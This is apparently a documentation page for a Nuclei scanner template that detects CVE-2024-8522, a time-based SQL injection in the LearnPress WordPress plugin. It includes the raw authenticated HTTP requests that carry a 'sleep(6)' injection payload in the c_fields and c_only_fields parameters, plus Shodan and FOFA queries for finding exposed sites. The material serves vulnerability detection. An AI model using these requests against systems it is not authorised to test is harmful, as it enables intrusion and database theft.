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LearnPress – WordPress LMS - SQL Injection

ID: CVE-2024-8522

Severity: critical

Author: pdresearch,iamnoooob,rootxharsh

Tags: time-based-sqli,cve,cve2024,learnpress,sqli,wp,wordpress,wp-plugin,authenticated

Description

Section titled “Description”

The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to SQL Injection via the ‘c_only_fields’ parameter of the /wp-json/learnpress/v1/courses REST API endpoint in all versions up to, and including, 4.2.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

YAML Source

Section titled “YAML Source”
id: CVE-2024-8522


info:
  name: LearnPress – WordPress LMS - SQL Injection
  author: pdresearch,iamnoooob,rootxharsh
  severity: critical
  description: |
    The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to SQL Injection via the 'c_only_fields' parameter of the /wp-json/learnpress/v1/courses REST API endpoint in all versions up to, and including, 4.2.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  reference:
    - https://github.com/advisories/GHSA-3w3r-r6g6-w8x5
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8522
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-8522
    cwe-id: CWE-89
    epss-score: 0.04685
    epss-percentile: 0.91818
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 4
    vendor: thimpress
    product: learnpress
    shodan-query: html:"/wp-content/plugins/learnpress"
    fofa-query: body="/wp-content/plugins/learnpress"
  tags: time-based-sqli,cve,cve2024,learnpress,sqli,wp,wordpress,wp-plugin,authenticated


flow: http(1) && http(2)


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/learnpress")'
        internal: true


  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1


      - |
        @timeout: 30s
        GET /wp-json/learnpress/v1/courses?course_filter=&c_fields=post_title,(select(sleep(6))),ID& HTTP/1.1
        Host: {{Hostname}}


      - |
        @timeout: 30s
        GET /wp-json/learnpress/v1/courses?course_filter=&c_only_fields=post_title,(select(sleep(6))),ID& HTTP/1.1
        Host: {{Hostname}}


    host-redirects: true
    matchers:
      - type: dsl
        name: time-based
        dsl:
          - 'duration_1>=6'
          - 'duration_2>=6'
# digest: 4a0a00473045022100e13910450d93edce3729057fbab77394fbf598f2e7f34dac1e8055fd7caa4c2b02204bd42a4619f499cada5715d49dd76134ff2db4bec0df4de07bd210c21beda516:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-8522.yaml"

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